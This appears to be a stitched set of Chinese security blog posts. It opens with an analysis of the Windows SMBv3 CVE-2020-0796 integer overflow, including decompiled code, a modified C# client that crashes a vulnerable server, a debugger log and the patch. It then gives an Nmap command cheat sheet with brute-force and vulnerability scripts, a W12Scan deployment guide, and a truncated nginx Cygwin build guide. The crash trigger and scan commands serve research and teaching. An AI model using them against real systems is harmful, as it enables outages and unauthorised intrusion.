Security Updates ================ Windows 10 Version 1903 for 32-bit Systems Remote Code Execution Critical Windows 10 Version 1903 for ARM64-based Systems Remote Code Execution Critical Windows 10 Version 1903 for x64-based Systems Remote Code Execution Critical Windows 10 Version 1909 for 32-bit Systems Remote Code Execution Critical Windows 10 Version 1909 for ARM64-based Systems Remote Code Execution Critical Windows 10 Version 1909 for x64-based Systems Remote Code Execution Critical Windows Server, version 1903 (Server Core installation) Remote Code Execution Critical Windows Server, version 1909 (Server Core installation) Remote Code Execution Critical Workarounds ================ Disable SMBv3 compression ************************* You can disable compression to block unauthenticated attackers from exploiting the vulnerability against an SMBv3 Server with the PowerShell command below. Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force根据该文章，可以得到3个信息。该漏洞只影响 SMB v3.1.1，是SMB最新的协议，可能存在某些功能没有经过测试只影响 1903和1909，这意味着 windows server 2019（177630) LTSC 版本不受影响建议关闭smb 压缩功能首先我们要知道smb服务的二进制文件在哪个位置。一般在C:\Windows\System32\drivers\srv2.sys，这是从学习分析wanncry学到的经验。其次，我们要从特定版本的windows上获取srv2.sys。搭建虚拟机复制拷贝即可srv2.sys 静态分析将 srv2.sys加载到ida中，根据安全通告，与compress有关，所以我们主要查找与compression有关的函数名称。Srv2DecompressMessageAsyncSrv2DecompressDataSmb2GetHonorCompressionAlgOrderSmb2SelectCompressionAlgorithmSmb2ValidateCompressionCapabilitiesSrv2DecompressMessageAsync和Srv2DecompressData这两个函数可能存在问题，该函数的同步版本函数比异步版本函数更易分析，我们来主要分析一下srv2!Srv2DecompressData函数__int64 __fastcall Srv2DecompressData(__int64 a1) { __int64 v1; // rdi __int64 v2; // rax __m128i v3; // xmm0 __m128i v4; // xmm0 unsigned int v5; // ebp __int64 v7; // rax __int64 v8; // rbx int v9; // eax __m128i MaxCount; // [rsp+30h] [rbp-28h] int v11; // [rsp+60h] [rbp+8h] v11 = 0; v1 = a1; v2 = *(_QWORD *)(a1 + 240); if ( *(_DWORD *)(v2 + 36) < 0x10u ) return 0xC000009B; v3 = *(__m128i *)*(_QWORD *)(v2 + 24); MaxCount = v3; v4 = _mm_srli_si128(v3, 8); v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64); if ( v5 != v4.m128i_u16[0] ) return 0xC00000BB; v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64); v8 = v7; if ( !v7 ) return 0xC000009A; if ( (int)SmbCompressionDecompress( v5, *(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64, (unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16), MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24), MaxCount.m128i_i32[1], &v11) < 0 || (v9 = v11, v11 != MaxCount.m128i_i32[1]) ) { SrvNetFreeBuffer(v8); return 0xC000090B; } if ( MaxCount.m128i_i32[3] ) { memmove( *(void **)(v8 + 24), (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64), MaxCount.m128i_u32[3]); v9 = v11; } *(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9; Srv2ReplaceReceiveBuffer(v1, v8); return 0i64; }这是用IDA反编译到C的结果。很难分析，但是可以注意到两个点子函数体非常小，与“bug”描述相一致函数只做三件简单的事，申请buffer，解压属于并拷贝到buffer如果我们想确定该函数是不是存在漏洞的函数，我们需要更多信息，al 寄存器代表什么，攻击者还可以控制哪些字段？？？以下是三份关于smb协议的参考资料DevDays Redmond 2019, where they present an overview of "compressed" SMB packets: https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf[MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/根据公开材料，可以了解更多关于smb的包结构。根据这些信息，重新命名一下函数中的相关变量__int64 __fastcall Srv2DecompressData(__int64 _smb_packet) { __int64 smb_packet; // rdi __int64 _header; // rax SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0 AAA smb_header_compress; // xmm0_8 unsigned int CompressionAlgorithm; // ebp __int64 __alloc_buffer; // rax __int64 __allocated_buffer; // rbx int PayloadSize; // eax SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h] int UncompressedSize; // [rsp+60h] [rbp+8h] UncompressedSize = 0; smb_packet = _smb_packet; _header = *(_QWORD *)(_smb_packet + 0xF0); // Basic size checks if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) ) return 0xC000090Bi64; v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18); Header = v3; // Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128( (__m128i)v3, offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm)); CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64); if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo ) return 0xC00000BBi64; // Nani ?? oO __alloc_buffer = SrvNetAllocateBuffer( (unsigned int)( Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength), 0i64 ); __allocated_buffer = __alloc_buffer; if ( !__alloc_buffer ) return 0xC000009Ai64; // Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize if ( (int)SmbCompressionDecompress( CompressionAlgorithm, (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength + 0x10i64), *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10, (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)), Header.OriginalCompressedSegmentSize, &UncompressedSize) < 0 || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) ) { SrvNetFreeBuffer(__allocated_buffer); return 0xC000090Bi64; } // Copy optional payload if ( Header.OffsetOrLength ) { memmove( *(void **)(__allocated_buffer + 0x18), (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64), (unsigned int)Header.OffsetOrLength); PayloadSize = UncompressedSize; } *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize; Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer); return 0i64; }现在我们很容易就能看到存在漏洞的地方。__alloc_buffer = SrvNetAllocateBuffer( (unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength), 0i64 );攻击者可以控制OriginalCompressedSegmentSize 和OffsetOrLength这两个参数。OriginalCompressedSegmentSize 用来描述压缩前的数据大小，OffsetOrLength用来描述压缩数据的长度或者片偏移，主要取决于是否设置flags变量，详情见图OriginalCompressedSegmentSize 和OffsetOrLength都为32位int类型数字，并且srv2!Srv2DecompressData用上述两个字段来控制分配内存空间。下面是反汇编00000001C0017EB2 movq rcx, xmm0 ... 00000001C0017EC8 mov rax, qword ptr [rsp+58h+Header.ProtocolId] 00000001C0017ECD xor edx, edx 00000001C0017ECF shr rax, 20h ; OriginalCompressedSegmentSize 00000001C0017ED3 shr rcx, 20h ; OffsetOrLength 00000001C0017ED7 add ecx, eax 00000001C0017ED9 call cs:__imp_SrvNetAllocateBuffer我们很容易可以发现，其中存在integer整数溢出。下面动态分析来触发漏洞动态分析为了检验我们的假设是否正确，我们需要两件事：存在漏洞的服务器，这很容易设置，只需在系统上安装Windows 10 1903 或者 1909 Windows即可！实现SMB v3.1.1压缩功能的SMB客户端，这实际上实现起来困难得多。Samba/CIFS 官方声明说，由于它们未实现压缩功能，因此它们不受此漏洞的影响，并且通常第三方smb客户端例如，pysmbclient和impacket's smbclient均不支持压缩功能。我设法找到了功能完整的SMB客户端实现：https : //github.com/microsoft/WindowsProtocolTestSuites/该代码库完全使用C# 编写，并由Microsoft用于测试协议一致性（因此，其功能涵盖面非常完整）,是一个很合适我们测试POC的环境。老实说，该项目是Windows安全研究人员的宝库，项目中包括 SMB server/client, RDP server/client, Kerberos server, SMBD server等的完整实现。尽管代码编写的很好，但是创建的包并不能触发漏洞，所以我们要修改一下代码来触发我们的漏洞// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common { /// <summary> /// SMB2 Compression Utility. /// </summary> public static class Smb2Compression { private static uint i = 0; /// <summary> /// Compress SMB2 packet. /// </summary> /// <param name="packet">The SMB2 packet.</param> /// <param name="compressionInfo">Compression info.</param> /// <param name="role">SMB2 role.</param> /// <param name="offset">The offset where compression start, default zero.</param> /// <returns></returns> public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0) { var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role); /*if (compressionAlgorithm == CompressionAlgorithm.NONE) { return packet; }*/ // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login) if (i < 3) { i++; return packet; } var packetBytes = packet.ToBytes(); var compressor = GetCompressor(compressionAlgorithm); // HACK: Insane length to trigger the integrer overflow offset = 0xffffffff; var compressedPacket = new Smb2CompressedPacket(); compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader; compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length; compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm; compressedPacket.Header.Reserved = 0; compressedPacket.Header.Offset = offset; compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray(); compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray()); var compressedPackectBytes = compressedPacket.ToBytes(); // HACK: force compressed packet to be sent return compressedPacket; // Check whether compression shrinks the on-wire packet size // if (compressedPackectBytes.Length < packetBytes.Length) // { // compressedPacket.OriginalPacket = packet; // return compressedPacket; // } // else // { // return packet; // } } } } namespace Microsoft.Protocols.TestManager.BranchCachePlugin { class Program { static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info) { Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds)); client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }; // NEGOTIATION is done in "plaintext", this is the call within UserLogon: // client.Negotiate( // 0, // 1, // Packet_Header_Flags_Values.NONE, // messageId++, // new DialectRevision[] { DialectRevision.Smb311 }, // SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED, // Capabilities_Values.NONE, // clientGuid, // out selectedDialect, // out gssToken, // out header, // out negotiateResp, // preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 }, // apprently mandatory for compression // compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 } // ); if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp)) return; // From now on, we compress every new packet client.CompressionInfo.CompressAllPackets = true; // Get tree information about a remote share (which does not exists) TREE_CONNECT_Response treeConnectResp; string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare); // trigger crash here client.TreeConnect( 1, 1, Packet_Header_Flags_Values.FLAGS_SIGNED, messageId++, sessionId, uncSharePath, out treeId, out header, out treeConnectResp ); } static void Main(string[] args) { Console.WriteLine("Hello World!"); Logger logger = new Logger(); AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost"); BranchCacheDetector bcd = new BranchCacheDetector( logger, "DESKTOP-SMBVULN", "DESKTOP-SMBVULN", accountCredential ); DetectionInfo info = new DetectionInfo(); info.SelectedTransport = "SMB2"; info.ContentServerName = "DESKTOP-SMBVULN"; info.UserName = "Ghost"; info.Password = "Ghost"; TriggerCrash(bcd,info); Console.WriteLine("Goodbye World!"); } } }我们通过Smb2Compression.cs去向smb服务器发送看起来畸形数据包，看来我们触发了漏洞以下为windbg结果Breakpoint 3 hit srv2!Srv2DecompressData+0x6f: fffff800`50ad7ecf 48c1e820 shr rax,20h kd> p srv2!Srv2DecompressData+0x73: fffff800`50ad7ed3 48c1e920 shr rcx,20h kd> srv2!Srv2DecompressData+0x77: fffff800`50ad7ed7 03c8 add ecx,eax kd> r eax eax=7e kd> r ecx ecx=ffffffff kd> p srv2!Srv2DecompressData+0x79: fffff800`50ad7ed9 4c8b15489a0200 mov r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)] kd> r ecx ecx=7d kd> p srv2!Srv2DecompressData+0x80: fffff800`50ad7ee0 e8fbe29704 call srvnet!SrvNetAllocateBuffer (fffff800`554561e0) kd> p srv2!Srv2DecompressData+0x85: fffff800`50ad7ee5 488bd8 mov rbx,rax kd> g KDTARGET: Refreshing KD connection *** Fatal System Error: 0x00000050 (0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002) A fatal system error has occurred. Debugger entered on first try; Bugcheck callbacks have not been invoked. A fatal system error has occurred. For analysis of this file, run !analyze -v nt!DbgBreakPointWithStatus: fffff800`51a79580 cc int 3 kd> !analyze -v Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE ******************************************************************************* * * * Bugcheck Analysis * * * ******************************************************************************* PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffff8483c09e7e2f, memory referenced. Arg2: 0000000000000000, value 0 = read operation, 1 = write operation. Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000002, (reserved) Debugging Details: ------------------ READ_ADDRESS: ffff8483c09e7e2f Nonpaged pool TRAP_FRAME: fffff105d6992c00 -- (.trap 0xfffff105d6992c00) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000 rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f r8=ffff8483c09e7e2f r9=0000000000000078 r10=ffff8483bccd1f6d r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc nt!RtlDecompressBufferXpressLz+0x50: fffff800`51a0e750 418b08 mov ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=???????? Resetting default scope STACK_TEXT: fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12 fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952 fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107 fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50 fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66 fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1 fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33 fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117 fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37 fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55 fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a 补丁微软的补丁就是在Srv2DecompressData里面对上述两个Length做了检查.__int64 __fastcall Srv2DecompressData(__int64 a1) { // //添加了对Header中Length的检查 // if ( RtlULongAdd(Header.OriginalCompressedSegmentSize, Header2.Length, &pulResult) < 0 ) { ... } if ( pulResult > (unsigned __int64)(unsigned int)(*(_DWORD *)(v9 + 0x24) + 0x100) + 0x34 ) { ... } if ( RtlULongSub(pulResult, Header.Length, &pulResult) < 0 ) { ... } }结论总体来看，CVE-2020-0796是一个很容易发现的漏洞。但是完美利用利用它确实另外一回事：这是一个在windows 10 KASLR 保护机制下需要远程攻击的kernel exploit。最好的办法就是完全禁用这个功能。

Nmap扫描基础常用命令 参数速查表参数(注意区分大小写)说明-sT TCP connect()扫描，这种方式会在目标主机的日志中记录大批连接请求和错误信息。-sS 半开扫描，很少有系统能把它记入系统日志。不过，需要Root权限。-sF  -sN 秘密FIN数据包扫描、Xmas Tree、Null扫描模式-sP ping扫描，Nmap在扫描端口时，默认都会使用ping扫描，只有主机存活，Nmap才会继续扫描。-sU UDP扫描，但UDP扫描是不可靠的-sA 这项高级的扫描方法通常用来穿过防火墙的规则集-sV 探测端口服务版本-Pn 扫描之前不需要用ping命令，有些防火墙禁止ping命令。可以使用此选项进行扫描-v 显示扫描过程，推荐使用-h 帮助选项，是最清楚的帮助文档-p 指定端口，如“1-65535、1433、135、22、80”等-O 启用远程操作系统检测，存在误报-A 全面系统检测、启用脚本检测、扫描等-oN/-oX/-oG 将报告写入文件，分别是正常、XML、grepable 三种格式-T4 针对TCP端口禁止动态扫描延迟超过10ms-iL 读取主机列表，例如，“-iL C:\ip.txt”1、扫描单个目标nmap ip如：nmap 192.168.0.1012、扫描多个目标nmap ip1 ip2 适用于目标地址不再同一个网段或在同一网段不连续且数量不多的情况。如：nmap 192.168.0.101 192.168.0.1103、扫描一个范围内的目标nmap xxx.xxx.xxx.xxx-xxx如：nmap 192.168.0.100-1104、扫描目标地址所在某网段namp xxx.xxx.xxx.xxx/xx如：nmap 192.168.0.1/245、扫描包含主机列表的文件中的所有地址nmap -iL <File path>如：nmap -iL /root/target.txt6、扫描除了一个目标地址之外的所有地址nmap ip段 -exclude 被排除的ip如：nmap 192.168.0.100-110 -exclude 192.168.0.103 nmap 192.168.0.1/24 -exclude 192.168.0.103 7、扫描除了某一个文件中的地址之外的所有地址nmap ip段 -excludefile <file path>如：nmap 192.168.0.100-110 -excludefile /root/targets.txt nmap 192.168.0.1/24 -excludefile /root/targets.txt8、扫描目标地址的指定端口nmap ip -p 端口1，端口2，端口3……如:nmap 192.168.0.101 -p 80,8080,3306,33899、对目标地址进行路由跟踪nmap --traceroute ip如：nmap --traceroute 192.168.0.10110、扫描目标地址C段的在线主机nmap -sP ip段如：nmap -sP 192.168.0.1/2411、扫描目标地址进行操作系统版本nmap -O ip如：nmap -O 192.168.0.10112、扫描目标所开放的全部端口（半开式）nmap -sS -p 端口号-多个用逗号(，)隔开 -v ip如：nmap -sS -p 1-65535 192.168.0.10113、扫描目标地址开放服务(端口)版本nmap -sV ip如：nmap -sV 192.168.0.10114、探测防火墙nmap -sF -T4 ip如：nmap -sF -T4 192.168.0.101 14、绕过防火墙进行全面扫描nmap -Pn -A ip如：nmap -Pn -A 192.168.0.101进阶用法-advancednmap --script=xx 使用某个脚本进行扫描1、弱口令扫描nmap --script=auth ip 对某个主机或某网段主机的应用进行弱口令检测如：nmap --script=auth 192.168.0.1012、暴力破解nmap --script=brute ip 可以对胡句酷、MB、SNMP等进行简单的暴力破解如：nmap --script=brute 192.168.0.1013、扫描常见漏洞nmap --script=vuln ip 如：nmap --script=vuln 192.168.0.1014、使用脚本进行应用服务扫描nmap --script=xxx ip 对常见应用服务进行扫描 如：VNC、MySQL、Telnet、Rync等服务如VNC服务：nmap --script=realvnc-auth-bypass 192.168.0.1015、探测局域网内服务开放情况nmap -n -p xxx --script=broadcast ip如：nmap --script=broadcast 192.168.0.1016、Whois解析nmap -script external url如：nmap -script external baidu.com7、扫描Web敏感目录nmap -p 80 --script=http-enum.nse ipnmap -p 80 --script=http-enum.nse 192.168.0.101多种参数可混合使用

linux环境下搭建W12Scan 大半夜的收到群里面几个基佬的“邀请”让我部署一个w12scan的平台，不过，大半夜的，打工是不可能打工的，只能靠睡觉来放松了，还是得隔天早上，起来开工。嗯。。。一群人半夜呼了吾几百次第一步：准备服务器，centos7.6 内存4G cpu 4核第二步：执行优化脚本（必做），优化脚本第三步：安装dockerwhich docker ##检查是否安装docker及寻找地址回显：/usr/bin/which: no docker in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin)很显然我没安装。。。既然没安装：那就安装一波执行yum -y install yum-utils device-mapper-persistent-data lvm2yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo yum makecache fastyum install docker-ce-17.12.0.ce-1.el7.centos.x86_64 -y ##这里提示一下，默认很多走的都是海外的镜像，国内部署可能会慢的要死正常走完上面一步，我们检查一下安装正常了没docker version回显：Client: Version: 17.12.0-ce API version: 1.35 Go version: go1.9.2 Git commit: c97c6d6 Built: Wed Dec 27 20:10:14 2017 OS/Arch: linux/amd64 [root@w12scan-0-177 yum.repos.d]# systemctl start docker [root@w12scan-0-177 yum.repos.d]# which docker /usr/bin/docker [root@w12scan-0-177 yum.repos.d]# docker info Containers: 0 Running: 0 Paused: 0 Stopped: 0 Images: 0 Server Version: 17.12.0-ce Storage Driver: devicemapper Pool Name: docker-8:3-807331917-pool Pool Blocksize: 65.54kB Base Device Size: 10.74GB Backing Filesystem: xfs Udev Sync Supported: true Data file: /dev/loop0 Metadata file: /dev/loop1 Data loop file: /var/lib/docker/devicemapper/devicemapper/data Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata Data Space Used: 11.73MB Data Space Total: 107.4GB Data Space Available: 107.4GB Metadata Space Used: 17.36MB Metadata Space Total: 2.147GB Metadata Space Available: 2.13GB Thin Pool Minimum Free Space: 10.74GB Deferred Removal Enabled: true Deferred Deletion Enabled: true Deferred Deleted Device Count: 0 Library Version: 1.02.149-RHEL7 (2018-07-20) Logging Driver: json-file Cgroup Driver: cgroupfs Plugins: Volume: local Network: bridge host macvlan null overlay Log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog Swarm: inactive Runtimes: runc Default Runtime: runc Init Binary: docker-init containerd version: 89623f28b87a6004d4b785663257362d1658a729 runc version: b2567b37d7b75eb4cf325b77297b140ea686ce8f init version: 949e6fa curity Options: ▽seccomp Profile: default Kernel Version: 3.10.0-957.12.1.el7.x86_64 Operating System: CentOS Linux 7 (Core) OSType: linux Architecture: x86_64 CPUs: 4 Total Memory: 3.858GiB Name: w12scan-0-177 ID: 6V77:LJ6U:QERB:UFXZ:DF2H:PTFQ:YZLA:7M2G:5OKE:UJDH:EIAK:U2MC Docker Root Dir: /var/lib/docker Debug Mode (client): false Debug Mode (server): false Registry: https://index.docker.io/v1/ Labels: Experimental: false Insecure Registries: 127.0.0.0/8 Live Restore Enabled: false那么安装正常，我们执行下一步systemctl enable docker开机自启动docker服务vim /etc/docker/daemon.json ##编辑docker额外源镜像{ "registry-mirrors": [ "https://registry.docker-cn.com" ] }rpm -qa|grep docker检查是否存在docker软件包接下来就是安装w12scan了执行 git clone https://github.com/boy-hack/w12scan可以看到回显：Cloning into 'w12scan'... remote: Enumerating objects: 119, done. remote: Counting objects: 100% (119/119), done. remote: Compressing objects: 100% (80/80), done. remote: Total 3145 (delta 48), reused 80 (delta 29), pack-reused 3026 Receiving objects: 100% (3145/3145), 13.18 MiB | 666.00 KiB/s, done. Resolving deltas: 100% (833/833), done.没安装Git的童鞋可以执行yum install -y git由于W12scan基于docker-compose来运行，务必安装进入目录：cd w12scan/用docker-compose运行docker-compose up -d如果回显-bash: docker-compose: command not found则没安装那么，查询pip是否安装which pip如果回显/usr/bin/which: no pip in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin)则没安装我们运行yum -y install epel-releaseyum -y install python-pip来安装pip安装结束后which pip检查接下来更新一下pippip install --upgrade pip##切记千万别乱更新，国内ecs实测更新可能会导致大面积异常红色错误，国内ecs服务器没事千万别更新。国外的不知道怎么回事，没问题。如果您足够自信能够修好可能造成的异常的话，您可以更新。安装composepip install docker-compose这里有非常重要的一个坑，如果您用的是纯净的系统镜像，那么请务必先运行yum install -y gcc g++ yum install -y python-devel python3 python3-pip python3-devel不然python在造轮子的时候会编译错误又或者找不到文件头都执行完毕后docker-compose -version查看版本如果回显版本就正常了接下来就是运行了输入docker-compose up -d就开始部署环境了最近部署脚本貌似有一些问题 在目录下的Dockerfile里面对镜像安装pip3的脚本似乎有一些问题，这个也是一个巨坑，连站长认识的一个大佬也翻车了。解决方法暂时也未知，后面我会更新一篇文章来探讨这个问题。如果安装成功的话第五步： 运行netstat -lntup如果回显：Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 5377/sshd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 5472/master tcp6 0 0 :::22 :::* LISTEN 5377/sshd tcp6 0 0 ::1:25 :::* LISTEN 5472/master tcp6 0 0 :::8000 :::* LISTEN 8724/docker-proxy则部署成功我们可以直接在浏览器中访问地址：http://127.0.0.1:8000如果您很不巧的无法打开那么您应该调下防火墙了firewall-cmd --remove-forward-port=port=8000:proto=tcp:toport=80 --permanent firewall-cmd --permanent --remove-port=80/tcp firewall-cmd --reload默认账号和密码均为：boyhack当然，公网部署也是可以的，但是你也要小心会不会被FBI Open The Door！参考链接为：https://x.hacking8.com/tag/w12scan //官网https://github.com/w-digital-scanner/w12scanhttps://www.freebuf.com/sectool/202375.htmlhttps://blog.csdn.net/jiangyu1013/article/details/84570872

Nginx使用cygwin在Windows下编译和安装 Nginx介绍：nginx("engine x") 是一个高性能的 HTTP 和反向代理 服务器，也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的，它已经在该站点运行超过两年半了。Igor 将源代码以类BSD许可证的形式发布。尽管还是测试版，但是，Nginx 已经因为它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名了。1.cygwin环境安装到http://www.cygwin.com/下载setup.exe安装程序，具体安装过程请到google找吧。这里需要注意的是：一定要安装上openssl、pcre与zlib这三个包，因为nginx部分源码需要用到这三个库。2.nginx编译与构建下载源代码包并打开cygwin环境，进入到源码存放地址，解压源码包gzip -d nginx-1.4.3.tar.gz得到nginx-1.4.3.tartar xvf nginx-1.4.3.tar得到新目录nginx-1.4.3cd进去，然后执行./configure --prefix=./nginx可以得到Makefile文件与objs子目录下的多个文件；再执行make命令，这时cd进 去objs子目录，然后ls一下，看到有nginx.exe文件，这就是编译构建后生成的nginx程序，接下来就可以安装导出了。3.安装在环境下cd到源码主目录，执行make install这样就可以把可执行导出到和主目录同级的nginx目录里了，这个目录是刚才执行编译configure时指定的(--prefix= ./nginx)4.运行在环境下cd到nginx/sbin目录，运行nginx.exe正常来说，控制台会回显一条错误信息运行错误： [emerg] 2496#0: the maximum number of files supported by select() is 64这表示FD_SETSIZE的值比nginx配置文件中worker_connections指令所指定的值小，那么怎么解决这个问题呢？第一种解决方法：把ngx_select_module事件处理模块去掉，通过在执行configure时指定参数—without-select_module。第二种解决方法：修改nginx的配置文件(conf/nginx.conf)，把这个文件第13行的1024改为64(worker_connections指令的值)。第三种解决方法：在执行configure时指定额外的编译选项(--with-cc-opt=”-D FD_SETSIZE=2048”)，这同样也可以解决上面的问题。后记：利用上面方法生成的nginx程序，需要依赖cygwin环境才能运行，那么有什么方法可以不用cygwin环境也能让nginx在Windows下独立运行呢？当前我想到的有两种方法：第1种：首先改变执行configure时指定的—prefix=/cygdrive/c/nginx参数为—prefix=.，同时还加上—sbin-path=nginx这个参数，也就是make install时把nginx安装到c:\nginx-\目录下，nginx运行时从当前目录的conf子目录读取配置、写日志到logs子目录。接下来执行configure、make与make install。然后把nginx运行时所需要用到的DLL找出来，我发现有这几个：cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll(这些文件都在cygwin安装目录的bin子目录下)；如果启用ssl的话，应该还需要cygssl-.dll和cygcrypto-0.9.8.dll，这个我没有实践过，大家可以试试。接下来把cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll拷贝到安装主目录下，同时在该目录下创建logs子目录。最后就可以直接双击nginx.exe来运行nginx了。这时打开浏览器，输入地址：http://127.0.0.1/，如果能看到有“Welcome to 